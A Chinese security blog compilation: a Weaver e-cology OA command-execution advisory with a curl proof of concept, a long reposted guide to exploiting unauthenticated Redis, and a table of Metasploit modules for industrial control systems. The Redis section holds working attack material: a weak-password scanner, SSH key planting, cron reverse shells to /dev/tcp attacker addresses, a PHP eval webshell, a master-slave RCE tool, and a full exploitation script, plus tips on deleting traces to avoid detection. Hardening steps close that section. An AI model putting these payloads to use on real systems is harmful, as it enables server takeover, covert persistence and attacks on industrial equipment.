泛微OA系统多版本存在命令执行漏洞


0x01漏洞描述

泛微OA办公系统是一款协调办公软件。

泛微协同商务软件系统存在命令执行漏洞,攻击者可利用该漏洞获取服务器权限。

0x02漏洞危害

攻击者可以通过精心构造的请求包在受影响版本的泛微OA上进行远程代码执行。

0x03影响范围

泛微 e-cology<=9.0

0x04漏洞复现

访问 http://url/weaver/bsh.servlet.BshServlet 输入 payload 如下:

0x05poc

漏洞路径:/weaver/bsh.servlet.BshServlet


exec("whoami")


curl http://xx.xx.xx.xx.xx/weaver/bsh.servlet.BshServlet/ -d 'bsh.script=ev


al%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.outp ut=raw'


0x06修复方案

1、屏蔽/weaver/*目录的访问;


2、https://www.weaver.com.cn/cs/securityDownload.asp


redis未授权访问总结[转载]


前言:

刚好在整理未授权系列的洞,就学习了一波关于redis的,如果哪里有讲的不对的地方还请各位大佬指出.

在内网中还是很容易碰到未授权的redis或者是弱口令的redis,毕竟都这样运维人员操作起来方便点.

Redis简介:

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

Redis常用命令:

Redis操作总结:

1.  使用SET和GET命令,可以完成基本的赋值和取值操作;2. Redis是不区分命令的大小写的,set和SET是同一个意思;3.使用keys *可以列出当前数据库中的所有键;4.当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);5. 如果键的值中有空格,需要使用双引号括起来,如"Hello World";

Redis配置文件解读:

在启动Redis服务器进程的时候,可以通过命令行参数指定一个配置文件,这样服务器进程就可以根据配置

文件中设定的参数值来运行了。在redis-3.0.1目录下有一个redis.conf文件,这是一个默认的配置文件。

redis.conf文件中存在许多的设置参数,这里重点介绍几个和安全相关的参数:

1. port参数

      格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。

2. bind参数

      格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,

如bind 192.168.1.100 

10.0.0.1,表示同时绑定在192.168.1.100和10.0.0.1两个IP地址上。如果没有指定bind参数,则绑定在本机的所有IP地址上。

3. save参数

      格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份

(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:

      save 900 1

      save 300 10

      save 60 10000

      表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

4. requirepass参数

      格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。

5. dir参数

      格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

6. dbfilename参数

      格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

7. config命令

      通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。 

详细解读:

-Redis5.0.5配置文件详解

https://blog.csdn.net/weixin_42425970/article/details/94132652

利用原理:

Redis 提供了2种不同的持久化方式,RDB方式和AOF方式.

  • RDB 持久化可以在指定的时间间隔内生成数据集的时间点快照

  • AOF 持久化记录服务器执行的所有写操作命令.

经过查看官网文档发现AOF方式备份数据库的文件名默认为appendonly.aof,可以在配置文件中通过appendfilename设置其他名称,

通过测试发现不能在客户端交互中动态设置appendfilename,所以不能通过AOF方式备份写任意文件.

  • RDB方式备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,

    造成可以写任意文件.

搭建过程:

#下载源码:wget http://download.redis.io/releases/redis-5.0.5.tar.gztar -zxvf redis-5.0.5.tar.gzcd redis-5.0.5make#启动redis服务cd src./redis-server可以指定配置文件启动(若不指定则以默认的配置文件启动):./redis-server /etc/redis/redis.conf

配置文件:

安全模式起作用需要同时满足俩个条件:

(1) redis没有开启登录认证

(2) redis没有绑定到某个ip地址或ip段

从3.2.0版本开始,当Redis使用缺省的配置并且没有密码保护的时,我们称之为保护模式。

redis默认是未开启认证,开启安全模式的.

对安全模式作用范围进行测试:
一、 绑定到任意地址:

1.png


启动redis:

test1.png


连接redis,可以看到安全模式未发挥作用

test1.png


二、取消绑定地址

test1.png


启动redis进行登录测试:

test1.png


可以看到虽然其可以登录,但是无法执行命令。

三、不绑定地址,关闭安全模式:

test1.png


登录测试:

1.png


所以造成未授权访问有俩种情况:
  1. 未开启登录认证,将redis绑定到了0.0.0.0

  2. 未开启登录认证,未绑定redis到任何地址(此时任何ip都可以访问),还需要关闭保护模式

漏洞复现:

windows下的redis客户端下载:

https://github.com/caoxinyu/RedisClient/releases

环境:

靶机:192.168.1.154 centos7

攻击机:192.168.1.153 centos7

未授权访问扫描脚本:
# _*_  coding:utf-8 _*_import socketimport sysPASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']def check(ip, port, timeout):    try:        socket.setdefaulttimeout(timeout)        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect((ip, int(port)))        s.send("INFO\r\n")        result = s.recv(1024)        if "redis_version" in result:            return u"未授权访问"        elif "Authentication" in result:            for pass_ in PASSWORD_DIC:                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                s.connect((ip, int(port)))                s.send("AUTH %s\r\n" %(pass_))                result = s.recv(1024)                if '+OK' in result:                    return u"存在弱口令,密码:%s" % (pass_)    except Exception, e:        passif __name__ == '__main__':    ip=sys.argv[1]    port=sys.argv[2]    print check(ip,port, timeout=10)
脚本使用案例:

1.png


一、写 ssh-keygen 公钥登录服务器

利用的原理:

现在先说明一下SSH免密登录的原理:

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端; (2)客户端发起登录请求,发送自己的相关信息; (3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端; (4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证; (5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

需要的条件:

1、Redis服务使用ROOT账号启动

2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

redis执行的命令:

192.168.1.154:6379>config set dir /root/.ssh/192.168.1.154:6379>config set dbfilename authorized_keys192.168.1.154:6379>set x "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdPp3/tfIlmHhVKuaR5Ckd0uuv98Q6AusZP9ZJrrb8aRWniTNCdUvV7gfW5ctZxROXfUF+tvnd6So8MwR70AwNqaCsWrsUBPzJXcR1Zl89M1G9KulUOgF3rANKQ8dqZivouvs1DcqkyqWi1652tAQ+4xS8i/mhFeS0dxjajttcrzmirF9DPzlsKTzfbMpUYupRAOl7GikdB9dhPzH3xQ4Oem4UMeZbznPuT861msmNLByh3ni+szdrF8yqwbPkVSDDbUlFCppF9N+Fykra5Uuc/tkXZaxgAjBWdpeFsLnMPlBWKoN1BJpzwZHgG2iKLT7PJS5bqx+RdkD7XJy9eqXL root@mail.test.com \n\n\n"192.168.1.154:6379> save

具体操作:

1、本地生成公钥文件:

需要为我们的公钥文件设置一个私钥

公钥文件默认路径:/root/.ssh/id_rsa.pub

1.png


2、通过未授权访问redis:

1.png


注意:在给客户做测试的时候记得先看下当前设置的目录和文件名,做完测试记得恢复

3、利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys

1.png


4、创建一个键值:

(1) 复制id_rsa.pub文件的内容:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdPp3/tfIlmHhVKuaR5Ckd0uuv98Q6AusZP9ZJrrb8aRWniTNCdUvV7gfW5ctZxROXfUF+tvnd6So8MwR70AwNqaCsWrsUBPzJXcR1Zl89M1G9KulUOgF3rANKQ8dqZivouvs1DcqkyqWi1652tAQ+4xS8i/mhFeS0dxjajttcrzmirF9DPzlsKTzfbMpUYupRAOl7GikdB9dhPzH3xQ4Oem4UMeZbznPuT861msmNLByh3ni+szdrF8yqwbPkVSDDbUlFCppF9N+Fykra5Uuc/tkXZaxgAjBWdpeFsLnMPlBWKoN1BJpzwZHgG2iKLT7PJS5bqx+RdkD7XJy9eqXL root@mail.test.com

(2) 创建一个键名为crackit 键值为公钥文件里面的内容

1.png


(3) 利用公钥文件以及对应的私钥进行ssh登陆:

1.png


1.png


或者:

ssh-keygen -t rsa(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txtcat foo.txt | redis-cli -h x.x.x.x -x set crackitredis-cli -h x.x.x.x     > config set dir /root/.ssh/     > config get dir     > config set dbfilename "authorized_keys"     > savessh -i id_rsa root@x.x.x.x
windows下利用ssh连接工具生成公钥文件:

利用xshell生成公钥文件:

1.png


点击 “ 新建用户密钥生成向导”

1.png


如上图选择,然后点击 下一步

1.png


公钥对已经生成,点击 下一步

1.png


输入一个密钥加密的密码,用于我们远程登陆

1.png


可以看到已经生成

1.png


复制公钥里面的内容,即可利用。

POC-T框架下对应的利用脚本:

1.png


利用xshell连接即可:

1.png


点击连接,输入用户名然后选择公钥连接:

1.png


输入我们前面填写的密码即可登陆。(密码就是我们那个前面密钥加密的密码)

二、 利用计划任务反弹shell

利用的原理:

/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。

执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。

需要的条件:

需要redis是root用户启动

redis执行的命令:

#获取dir的值config get dir#获取dbfilename的值config get dbfilename#设置数据库备份目录为linux计划任务目录config set dir '/var/spool/cron/'#设置备份文件名为root,以root身份执行计划任务config set dbfilename 'root'#删除所有数据库的所有keyflushall#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'#保存save#删除新增的keydel cron#恢复dir和dbfilenameconfig set dir '***'config set dbfilename '***'

具体操作:

1、攻击机监听好接收shell的端口:

nc -lvnp 4444

1.png


2、修改备份目录和文件名为定时任务的目录和文件:

 192.168.1.154:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.153/4444 0>&1\n" 192.168.1.154:6379> config set dir /var/spool/cron/ 192.168.1.154:6379> config set dbfilename root 192.168.1.154:6379> save

执行过程:

1.png


3、执行完redis命令后,回到监听的终端页面:

1.png


第一次看到还以为没有反弹回shell,不知道为什么这个shell无法执行ifconfig

求助大佬后才知道,默认的ifconfig是在 /usr/bin/目录下,而bash默认是在

1.png


解决方法:

ln -s /usr/sbin/ifconfig /usr/bin/ifconfig

1.png


POC-T框架下对应的利用脚本:

image-1578388805932.png


POC-T框架里的利用代码:

import redisfrom plugin.util import host2IPfrom plugin.util import randomStringlisten_ip = '192.168.1.222' # your public IP and Portlisten_port = 9999def poc(url): url = host2IP(url)    ip = url.split(':')[0]    port = int(url.split(':')[-1]) if ':' in url else 6379        try:        r = redis.Redis(host=ip, port=port, db=0, socket_timeout=10)        if 'redis_version' in r.info():            payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1\n\n'.format(ip=listen_ip,port=str(listen_port))            path = '/var/spool/cron'            name = 'root'            key = randomString(10)            r.set(key, payload)            r.config_set('dir', path)            r.config_set('dbfilename', name)            r.save()            r.delete(key)  # 清除痕迹            r.config_set('dir', '/tmp')            return True    except Exception:        return False    return False

三、 利用redis写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

靶机redis未授权,在攻击机能用redis clinet连接,并未登录验证

靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限

我在靶机上搭建了apache

image-1578388875984.png


我们现在不知道其网站的物理路径,可以尝试目录爆破看下是否存在phpinfo文件,也可以尝试apache的默认路径:/var/www/html/

redis-cli -h 192.168.1.154config set dir /var/www/html set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n" config set dbfilename webshell.php save

四、 利用主从复制获取shell

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。

利用原理:

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。

然后在从机上加载so文件,我们就可以执行拓展的新命令了。

1、下载利用脚本:

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommandcd RedisModules-ExecuteCommand/makegit clone https://github.com/Ridter/redis-rcepython redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so

image-1578388914387.png


监听一个端口用来接收shell

image-1578388934606.png


相关文章:

Redis 基于主从复制的 RCE 利用方式

https://paper.seebug.org/975/

详细利用步骤:

https://www.lizenghai.com/archives/21742.html

五、 执行lua脚本:

 redis 2.6以前的版本内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。

本地建立一个lua脚本:

vim  hello.lualocal msg = "hello,hack!"return msg

在客户端连接redis服务器并执行hello.lua

redis-cli eval "$(cat hello.lua)" 0 -h 192.168.1.154

image-1578388989296.png


六、 写二进制文件,利用dns、icmp等协议上线(tcp协议不能出网)

写二进制文件跟前边有所不同,原因在于使用RDB方式备份redis数据库是默认情况下会对文件进行压缩,上传的二进制文件也会被压缩,而且文件前后存在脏数据,

因此需要将默认压缩关闭,并且通过计划任务调用python清洗脏数据。

1、创建一个lua脚本,其内容如下:

local function hex2bin(hexstr)    local str = ""    for i = 1, string.len(hexstr) - 1, 2 do        local doublebytestr = string.sub(hexstr, i, i+1);        local n = tonumber(doublebytestr, 16);        if 0 == n then            str = str .. '\00'        else            str = str .. string.format("%c", n)        end    end    return strendlocal dir = redis.call('config','get','dir')redis.call('config','set','dir','/tmp/')local dbfilename = redis.call('config','get','dbfilename')redis.call('config','set','dbfilename','t')local rdbcompress = redis.call('config','get','rdbcompression')redis.call('config','set','rdbcompression','no')redis.call('flushall')local data = '1a2b3c4d5e6f1223344556677890aa'redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a'))local rst = {}rst[1] = 'server default config'rst[2] = 'dir:'..dir[2]rst[3] = 'dbfilename:'..dbfilename[2]rst[4] = 'rdbcompression:'..rdbcompress[2]return rst

变量data保存的是程序的16进制编码

2、利用redis执行该lua脚本

redis-cli --eval a.lua -h 192.168.1.154

3、由于redis不支持在lua中调用save因此需要手动执行save操作,并且删除key data,恢复dir等。

redis-cli save -h *.*.*.*redis-cli config set dir *** -h *.*.*.*redis-cli config set dbfilename *** -h *.*.*.*redis-cli config set rdbcompression * -h *.*.*.*

目前写入的文件前后是存在垃圾数据的,下一步通过写计划任务调用python或者系统命令提取出二进制文件(写文件之在数据前后加入了|||作为提取最终文件的标识)。

*/1 * * * * python -c 'open("/tmp/rst","a+").write(open("/tmp/t").read().split("|||")[1])'

redis利用脚本

https://github.com/00theway/redis_exp

代码:

#!/usr/bin/env python#-*- coding:utf8 -*-#@author: 00theway#@file: redis_exp.py#@time: 2017/3/29 下午6:40import redis,sys,timefrom optparse import OptionParserclass REDIS_EXP:    def __init__(self,host,port=6379):        self.host = host        self.port = port        self.INFO = 0        self.ERROR = 1        self.default = {'dir':'',                        'dbfilename':'',                        'rdbcompression':''}        self.crond = ''        self.r = redis.StrictRedis(host=self.host, port=self.port, db=0)        try:            self.get_default_config()            self.output("default config:",self.INFO)            self.output("dir:"+ self.default['dir'], self.INFO)            self.output("dbfilename:" + self.default['dbfilename'], self.INFO)            self.output("rdbcompression:" + self.default['rdbcompression'], self.INFO)        except Exception,e:            self.output("get default config",self.ERROR)            self.output(e.message,self.ERROR)            sys.exit(1)    # recover config    def __del__(self):        self.r.config_set('dir', self.default['dir'])        self.r.config_set('dbfilename', self.default['dbfilename'])        self.r.config_set('rdbcompression', self.default['rdbcompression'])    def output(self,msg,level=0):        if level == self.ERROR:            print "\033[31;3m [ERROR] %s \033[0m" % (msg)        if level == self.INFO:            print "\033[32;3m [INFO]%s \033[0m" % (msg)    # call before execute    def generate_crond(self,command,time_delay):        server_time = self.r.time()[0] + time_delay * 60        m_time = time.localtime(server_time)        m_min = m_time.tm_min        m_mon = m_time.tm_mon        m_day = m_time.tm_mday        m_hour = m_time.tm_hour        self.crond = '\n\n%s %s %s %s * %s\n\n' % (m_min, m_hour, m_day, m_mon, command)    # call at init    def get_default_config(self):        default = self.r.config_get()        self.default = default        pass    # call after set_local_file and set_remote_file    def upload_file(self,local_file,remote_file):        separator = '3b762cc137d55f4dcf4fe184ccc1dc15'        self.output('uploading files',self.INFO)        try:            data = open(local_file,'rb').read()        except Exception,e:            self.output("open file %s error" % (local_file),self.ERROR)            self.output(e.message,self.ERROR)            sys.exit(1)        m_data = '\n%s%s%s\n' % (separator,data,separator)        try:            self.r.config_set('dir','/tmp/')        except Exception,e:            self.output('config set dir /tmp/',self.ERROR)            self.output(e.message,self.ERROR)            sys.exit()        self.r.config_set('dbfilename','0ttt')        self.r.config_set('rdbcompression','no')        self.r.flushall()        self.r.set('data',m_data)        self.r.save()        #recover db config        self.r.delete('data')        command = '''python -c 'open("%s","ab+").write(open("/tmp/0ttt","rb").read().split("%s")[1])' ''' % (remote_file,separator)        self.execute(command)        self.output('file upload done',self.INFO)    # call after set_command    def execute(self,command,time_delay=2):        self.generate_crond(command,time_delay)        try:            self.r.config_set('dir','/var/spool/cron/')        except Exception,e:            self.output('config set dir /var/spool/cron',self.ERROR)            self.output(e.message,self.ERROR)            sys.exit()        self.r.config_set('dbfilename','root')        self.r.flushall()        self.r.set('shell',self.crond)        self.r.save()        self.r.delete('shell')        self.output('cron set ok',self.INFO)        for i in range(time_delay * 60):            sys.stdout.write('\r\033[32;3m [INFO] wait {0}seconds for command execute \033[0m'.format((time_delay * 60) - i))            sys.stdout.flush()            time.sleep(1)        print ''        self.output('command execute done',self.INFO)    def broute_dir(self,dirs_file):        self.output("broute dir")        try:            dirs = open(dirs_file).readlines()        except Exception,e:            self.output('open file %s error' % dirs_file,self.ERROR)            self.output(e.message,self.ERROR)            sys.exit()        for d_path in dirs:            d_path = d_path.strip()            try:                self.r.config_set('dir',d_path)                print '[path exests]',d_path            except Exception,e:                if "Permission denied" in e.message:                    print '[Permission denied]',d_path                else:                    passdef get_paras():    usage = '''python redis_exp.py --host *.*.*.* [options]    command execute:python redis_exp.py --host *.*.*.* -c "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"    file upload:python redis_exp.py --host *.*.*.* -l /data/reverse.sh -r /tmp/r.sh    path brute fource:python redis_exp.py --host *.*.*.* -f /data/path.txt'''    parser = OptionParser(usage)    parser.add_option('--host',dest='host',help='the redis ip')    parser.add_option('-p',dest="port",type='int',default=6379,help="the redis port,default is 6379")    parser.add_option('-f',dest="file",help="file path to brute fource")    parser.add_option('-l',dest="l_file",help="local file to upload")    parser.add_option('-r',dest="r_file",help="remote path to store file")    parser.add_option('-c',dest="command",help="the command to execute")    parser.add_option('-t', dest="time_delay",type='int',default=2,help="the time between crontad created and command execute,default 2mins")    (options, args) = parser.parse_args()    arg_host = options.host    arg_port = int(options.port)    if arg_host == None or arg_port == None:        print "\033[31;3m [ERROR] %s \033[0m" % 'host or port error'        print usage        sys.exit()    arg_command = options.command    arg_time_delay = options.time_delay    arg_l_file = options.l_file    arg_r_file = options.r_file    arg_dirs_file = options.file    if arg_command == None and (arg_l_file == None or arg_r_file==None) and arg_dirs_file == None:        print "\033[31;3m [ERROR] %s \033[0m" % 'need options'        print usage        sys.exit()    paras = {'host':arg_host,             'port':arg_port,             'command':arg_command,             'time_delay':arg_time_delay,             'l_file':arg_l_file,             'r_file':arg_r_file,             'dirs_file':arg_dirs_file}    return parasif '__main__' == __name__:    paras = get_paras()    host = paras['host']    port = paras['port']    command = paras['command']    time_delay = paras['time_delay']    l_file = paras['l_file']    r_file = paras['r_file']    dirs_file = paras['dirs_file']    r = REDIS_EXP(host,port)    if command != None:        r.execute(command,time_delay)    elif dirs_file != None:        r.broute_dir(dirs_file)    else:        r.upload_file(l_file,r_file)

批量检测未授权redis脚本

https://github.com/Ridter/hackredis

redis未授权漏洞应急响应案例:

redis未授权访问致远程植入挖矿脚本(防御篇)

https://mp.weixin.qq.com/s/eUTZsGUGSO0AeBUaxq4Q2w

利用拓展:

Windows下如何getshell?

写入webshell,需要知道web路径写入启动项,需要目标服务器重启写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。

修复方案:

1、禁止一些高危命令(重启redis才能生效)

  • 修改 redis.conf 文件,禁用远程修改 DB 文件地址

rename-command FLUSHALL ""rename-command CONFIG ""rename-command EVAL ""
  • 或者通过修改redis.conf文件,改变这些高危命令的名称

rename-command FLUSHALL "name1"rename-command CONFIG "name2"rename-command EVAL "name3"

2、以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

groupadd -r redis && useradd -r -g redis redis

3、为 Redis 添加密码验证(重启redis才能生效)

修改 redis.conf 文件,添加

requirepass mypassword(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

4、禁止外网访问 Redis(重启redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

bind 127.0.0.1

在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错

5、修改默认端口

修改配置文件redis.conf文件

Port 6379

默认端口是6379,可以改变成其他端口(不要冲突就好)

6、保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。

  • 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

chmod 400 ~/.ssh/authorized_keys
  • 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

chattr +i ~/.ssh/authorized_keys
  • 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:

chattr +i ~/.ssh

7、设置防火墙策略

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

参考链接:

https://www.freebuf.com/column/158065.html

https://bbs.ichunqiu.com/thread-39749-1-1.html?from=beef



MSF上所有的针对工业控制系统的漏洞脚本


VendorSystem / ComponentDefault PortMetasploit

Advantech WebAccessAdvantech WebAccess SQL Injection80auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli

General ElectricGE Proficy Cimplicity WebView substitute.bcl Directory Traversal80auxiliary/admin/scada/ge_proficy_substitute_traversal

SchneiderSchneider Modicon Remote START/STOP Command502auxiliary/admin/scada/modicon_command

SchneiderSchneider Modicon Quantum Password Recovery21auxiliary/admin/scada/modicon_password_recovery

SchneiderSchneider Modicon Ladder Logic Upload/Download502auxiliary/admin/scada/modicon_stux_transfer

Allen-Bradley/RockwellAllen-Bradley/Rockwell Automation EtherNet/IP CIP Commands44818auxiliary/admin/scada/multi_cip_command

PhoenixContact PLCPhoenixContact PLC Remote START/STOP Command1962auxiliary/admin/scada/phoenix_command

BeckhoffTwinCat48899auxiliary/dos/scada/beckhoff_twincat

General ElectricD20 PLC2auxiliary/gather/d20pass

General ElectricD20 PLC69auxiliary/dos/scada/d20_tftp_overflow

7-Technologies7-Technologies IGSS 9 IGSSdataServer.exe DoS12401auxiliary/dos/scada/igss9_dataserver

Digi ADDPDigi ADDP Remote Reboot Initiator2362auxiliary/scanner/scada/digi_addp_reboot

Digi ADDPDigi ADDP Information Discovery2362auxiliary/scanner/scada/digi_addp_version

Digi InternationalAdvance device Discovery Protocol771auxiliary/scanner/scada/digi_realport_serialport_scan

Digi InternationalAdvance device Discovery Protocol771auxiliary/scanner/scada/digi_realport_version

IndusoftInduSoft Web Studio Arbitrary Upload Remote Code Execution4322exploit/windows/scada/indusoft_webstudio_exec

IndusoftIndusoft WebStudio NTWebServer Remote File Access80auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess

Digital BondKoyo DirectLogic PLC Password Brute Force Utility28784auxiliary/scanner/scada/koyo_login

EsMnemonModbus Client Utility502auxiliary/scanner/scada/modbus_findunitid

EsMnemon and Arnaud SoullieModbus Client Utility502auxiliary/scanner/scada/modbusclient

EsMnemonModbus Client Utility502auxiliary/scanner/scada/modbusdetect

Siemens ProfinetSiemens Profinet Scanner
auxiliary/scanner/scada/profinet_siemens

Sielco SistemiWinlog Remote File Access46824auxiliary/scanner/scada/sielco_winlog_fileaccess

KeyHelpKeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability80exploit/windows/browser/keyhelp_launchtripane_exec

TeeChart ProfessionalTeeChart Professional ActiveX Control Trusted Integer Dereference8080exploit/windows/browser/teechart_pro

KingScadaKingScada kxClientDownload.ocx ActiveX Remote Code Execution8080exploit/windows/browser/wellintech_kingscada_kxclientdownload

BACnetOPC Client
exploit/windows/fileformat/bacnet_csv

ScadaTecModbusTag Server ScadaPhone
exploit/windows/fileformat/scadaphone_zip

ABB MicroSCADAABB MicroSCADA wserver.exe Remote Code Execution12221exploit/windows/scada/abb_wserver_exec

Schneider ElectricCitectSCADA20222exploit/windows/scada/citect_scada_odbc

3SSCADA 3S CoDeSys Gateway Server Directory Traversal1211exploit/windows/scada/codesys_gateway_server_traversal

3SSCADA 3S CoDeSys CmpWebServer Stack Buffer Overflow8080exploit/windows/scada/codesys_web_server

AzeoTechDAQ Factory20034exploit/windows/scada/daq_factory_bof

Siemens TechnomatiSiemens FactoryLink 8 CSService Logging Path Param Buffer Overflow7580exploit/windows/scada/factorylink_csservice

Siemens TechnomatiSiemens FactoryLink vrn.exe Opcode 9 Buffer Overflow7579exploit/windows/scada/factorylink_vrn_09

General ElectricGE Proficy CIMPLICITY gefebt.exe Remote Code Execution80exploit/windows/scada/ge_proficy_cimplicity_gefebt

IconicsIconics GENESIS32 Integer Overflow Version 9.21.201.0138080exploit/windows/scada/iconics_genbroker

IconicsICONICS WebHMI ActiveX Buffer Overflow
exploit/windows/scada/iconics_webhmi_setactivexguid

7-TechnologiesIGSS12401exploit/windows/scada/igss9_igssdataserver_listall

7-TechnologiesIGSS12401exploit/windows/scada/igss9_igssdataserver_rename

7-TechnologiesIGSS
exploit/windows/scada/igss9_misc

7-TechnologiesIGSS12397exploit/windows/scada/igss_exec_17

MOXAMOXA Device Manager Tool 2.1 Buffer Overflow
exploit/windows/scada/moxa_mdmtool

ProcyonProcyon Core Server HMI Coreservice.exe Stack Buffer Overflow23exploit/windows/scada/procyon_core_server

DATAC RealWinDATAC RealWin SCADA Server Buffer Overflow910exploit/windows/scada/realwin

DATAC RealWinDATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow910exploit/windows/scada/realwin_on_fc_binfile_a

DATAC RealWinRealWin SCADA Server DATAC Login Buffer Overflow910exploit/windows/scada/realwin_on_fcs_login

DATAC RealWinDATAC RealWin SCADA Server SCPC_INITIALIZE Buffer Overflow912exploit/windows/scada/realwin_scpc_initialize

DATAC RealWinDATAC RealWin SCADA Server SCPC_INITIALIZE_RF Buffer Overflow912exploit/windows/scada/realwin_scpc_initialize_rf

DATAC RealWinDATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow912exploit/windows/scada/realwin_scpc_txtevent

Measuresoft ScadaProMeasuresoft ScadaPro Remote Command Execution11234exploit/windows/scada/scadapro_cmdexe

Sunway ForcecontrolSunway Forcecontrol SNMP NetDBServer.exe Opcode 0x572001exploit/windows/scada/sunway_force_control_netdbsrv

Sielco SistemiSielco Sistemi Winlog Buffer Overflow46823exploit/windows/scada/winlog_runtime

Sielco SistemiSielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.1646824exploit/windows/scada/winlog_runtime_2

YokogawaYokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow20111exploit/windows/scada/yokogawa_bkbcopyd_bof

YokogawaYokogawa CS3000 BKESimmgr.exe Buffer Overflow34205exploit/windows/scada/yokogawa_bkesimmgr_bof

YokogawaYokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow20010exploit/windows/scada/yokogawa_bkfsim_vhfd

YokogawaYokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow20171exploit/windows/scada/yokogawa_bkhodeq_bof

